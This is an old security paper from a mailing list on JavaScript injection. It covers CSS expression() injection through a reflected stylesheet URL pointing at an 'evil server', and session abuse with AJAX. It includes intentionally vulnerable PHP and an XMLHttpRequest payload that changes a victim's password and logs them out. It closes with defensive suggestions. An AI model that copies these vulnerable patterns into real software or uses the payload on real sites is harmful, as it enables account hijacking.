Thread-topic: Misunderstanding Javascript injection: A paper on web application abuse via Javascript injection
Misunderstanding Javascript injection: A paper on web application abuse
via Javascript injection
Misunderstanding Javascript injection: A paper on web application abuse
via Javascript injection
Date: 27th January 2006
Author: Tim Brown
URL: <> / <http://www.machine.org.uk/>
Version: 1.1.0
Summary
Some months back, a colleague and I were kicking around some ideas for a
cross platform XSS born virus[1]. He ended up writing a paper on it and
I didn't. Whilst it is common to see the issue of Javascript injection
on the various security oriented mailing lists, there are issues I've
not seen much mention of, this paper seeks to rectify that. This paper
seeks to make two key points:
1) To successfully inject, doesn't require javascript: or the <script>
tag.
2) After successful injection, stuff the cookie, AJAX gives more room to
move.
Technical Details
1) A little known feature of Microsoft's Internet Explorer is that it
allows Javascript within cascading style sheets using the expression[2]
directives. Consider the following code fragment in PHP:
<?php
echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"" .
$_GET["theme"] . "/style.css\">\n";
?>
As you can see, the PHP interpreter will construct the URL to the
style.css file, based on user input, which gives us a vector of attack.
By requesting a URL of
the web server will return a page including the HTML code:
<link rel="stylesheet" type="text/css"
href=";>
and the client will therefore fetch our style sheet from evil server.
Taking a copy of the original style sheet from server, we then tweak it
so that properties of the p class include our malicious code:
p {behaviour:expression(function(element){
... malicious code ...
}(this))}
What this does it bind an anonymous function containing our malicious
code to the p behaviour[4] property implemented in Microsoft's propriety
DHTML implementation. This anonymous function will be called for each
<p> tag within the returned page.
It should be observed that the code above is just an example of a more
generalised case. The cascading style sheet directive url[3] can also be
used to reference a remote Javascript file and the injection point can
be anywhere that can be used to define a style.
2) Pretty much all the major browsers in use today support asynchronous
HTTP requests[5] and it's being extensively leveraged to provide a more
dynamic web. However, for all the good uses in AJAX enabled web
applications it suffers from major draw backs.
Requests via the XMLHTTP interface run with the same rights (within the
web server) as legitimate requests by a user using the same site. If a
user is logged in and therefore has a valid cookie, this cookie will be
sent in all requests made by any Javascript code injected into the web
page as long as the requests are for URLs on the same domain.
Now, that doesn't sound too bad, until you consider that the XMLHTTP
interface supports both the GET and POST methods and can make multiple,
undetectable requests. This is exactly what you'd need to spoof a
session to, for example create a new administrative user, change the
current users password etc. Consider the following code fragment in PHP:
<?php
session_name("user");
session_start();
if (!isset($_SESSION["authenticated"])) {
$_SESSION["authenticated"] = 1;
}
?>
...
<?php
echo "<form method=\"get\" action=\"" . $PHP_SELF . "\">\n";
echo "<input type=\"text\" name=\"input\" value=\"\" length=\"500\">\n";
echo "<input type=\"submit\" name=\"submit\" value=\"Submit\">\n";
echo "</form>\n";
if (isset($_GET["input"]) && $_GET["input"] != "" && $_GET["submit"] ==
"Submit") {
echo "<p>\n";
print $_GET["submit"] . "\n";
echo "</p>\n";
}
?>
As you can see, this does two things, firstly it sets the cookie
variable authenticated to 1 and secondly it returns a form to the
current user which is vulnerable to Javascript injection. If we can get
a user to follow our link (passing through any required authentication
checks) we then have the ability to make further requests via the
XMLHTTP interface like so:
<script>
var HTTPSession = new XMLHttpRequest();
HTTPSession.open("GET",
"chpassword.php?password1=pwn3d&password2=pwn3d&submit=Submit");
HTTPSession.send(null);
HTTPSession.open("GET", "logout.php");
HTTPSession.send(null);
</script>
Solution
Given the issues that Javascript injection poses, it is questionable
whether it should be enabled by default on web browsers as they are
supplied to members of the public. It is also questionable that
Javascript should be considered an all or nothing option. Web browser
developers need to up their game and start to provide sandbox
functionality similar to that found in JVM, with options to limit access
to dangerous interfaces on an individual site by site basis in a
granular manner. It should also be considered whether it would be
possible for Javascript code to be signed in a manner which makes use of
existing PKI to lessen the opportunities available to malicious code.
With specific reference to the use of Javascript within cascading style
sheets, Microsoft have made it fairly awkward since they only allow a
single expression to be evaluated, but perhaps it would be wise to
completely disable this functionality.
[1]
[2]
[3]
[4]
[5]
html/63409298-0516-437d-b5af-68368157eae3.a
